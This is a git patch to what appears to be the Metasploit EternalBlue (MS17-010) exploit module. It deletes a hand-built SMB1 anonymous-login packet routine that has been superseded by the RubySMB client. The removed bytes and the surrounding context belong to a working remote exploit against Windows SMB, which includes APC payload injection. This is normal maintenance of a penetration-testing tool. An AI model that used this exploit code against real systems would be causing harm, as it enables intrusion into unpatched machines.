From bc8ad811aa06b60444b3431a991071a5b96f1062 Mon Sep 17 00:00:00 2001
From: David Maloney <DMaloney@rapid7.com>
Date: Thu, 25 May 2017 10:49:42 -0500
Subject: [PATCH] remove old anonymous login packet

we are now using the anonymous login from the
RubySMB client we no longer need this method to
manually build the packet
---
 .../windows/smb/ms17_010_eternalblue.rb       | 48 -------------------
 1 file changed, 48 deletions(-)

diff --git a/modules/exploits/windows/smb/ms17_010_eternalblue.rb b/modules/exploits/windows/smb/ms17_010_eternalblue.rb
index 62d58b3f47..c34ee82c39 100644
--- a/modules/exploits/windows/smb/ms17_010_eternalblue.rb
+++ b/modules/exploits/windows/smb/ms17_010_eternalblue.rb
@@ -615,54 +615,6 @@ class MetasploitModule < Msf::Exploit::Remote
     pkt
   end
 
-  def make_smb1_anonymous_login_packet
-    # Neither Rex nor RubySMB appear to support Anon login?
-    pkt = ""
-    pkt << "\x00"                   # Session message
-    pkt << "\x00\x00\x88"           # length
-    pkt << "\xffSMB"                # SMB1
-    pkt << "\x73"                   # Session Setup AndX
-    pkt << "\x00\x00\x00\x00"       # NT SUCCESS
-    pkt << "\x18"                   # Flags
-    pkt << "\x07\xc0"               # Flags2
-    pkt << "\x00\x00"               # PID High
-    pkt << "\x00\x00\x00\x00"       # Signature1
-    pkt << "\x00\x00\x00\x00"       # Signature2
-    pkt << "\x00\x00"               # TreeID
-    pkt << "\xff\xfe"               # PID
-    pkt << "\x00\x00"               # Reserved
-    pkt << "\x00\x00"               # UserID
-    pkt << "\x40\x00"               # MultiplexID
-
-    pkt << "\x0d"                   # Word Count
-    pkt << "\xff"                   # No further commands
-    pkt << "\x00"                   # Reserved
-    pkt << "\x88\x00"               # AndXOffset
-    pkt << "\x04\x11"               # Max Buffer
-    pkt << "\x0a\x00"               # Max Mpx Count
-    pkt << "\x00\x00"               # VC Number
-    pkt << "\x00\x00\x00\x00"       # Session key
-    pkt << "\x01\x00"               # ANSI pw length
-    pkt << "\x00\x00"               # Unicode pw length
-    pkt << "\x00\x00\x00\x00"       # Reserved
-    pkt << "\xd4\x00\x00\x00"       # Capabilities
-    pkt << "\x4b\x00"               # Byte count
-    pkt << "\x00"                   # ANSI pw
-    pkt << "\x00\x00"               # Account name
-    pkt << "\x00\x00"               # Domain name
-
-    # Windows 2000 2195
-    pkt << "\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32"
-    pkt << "\x00\x30\x00\x30\x00\x30\x00\x20\x00\x32\x00\x31\x00\x39\x00\x35\x00"
-    pkt << "\x00\x00"
-
-    # Windows 2000 5.0
-    pkt << "\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32"
-    pkt << "\x00\x30\x00\x30\x00\x30\x00\x20\x00\x35\x00\x2e\x00\x30\x00\x00\x00"
-
-    pkt
-  end
-
   # ring3 = user mode encoded payload
   # proc_name = process to inject APC into
   # ep_thl_b = EPROCESS.ThreadListHead.Blink offset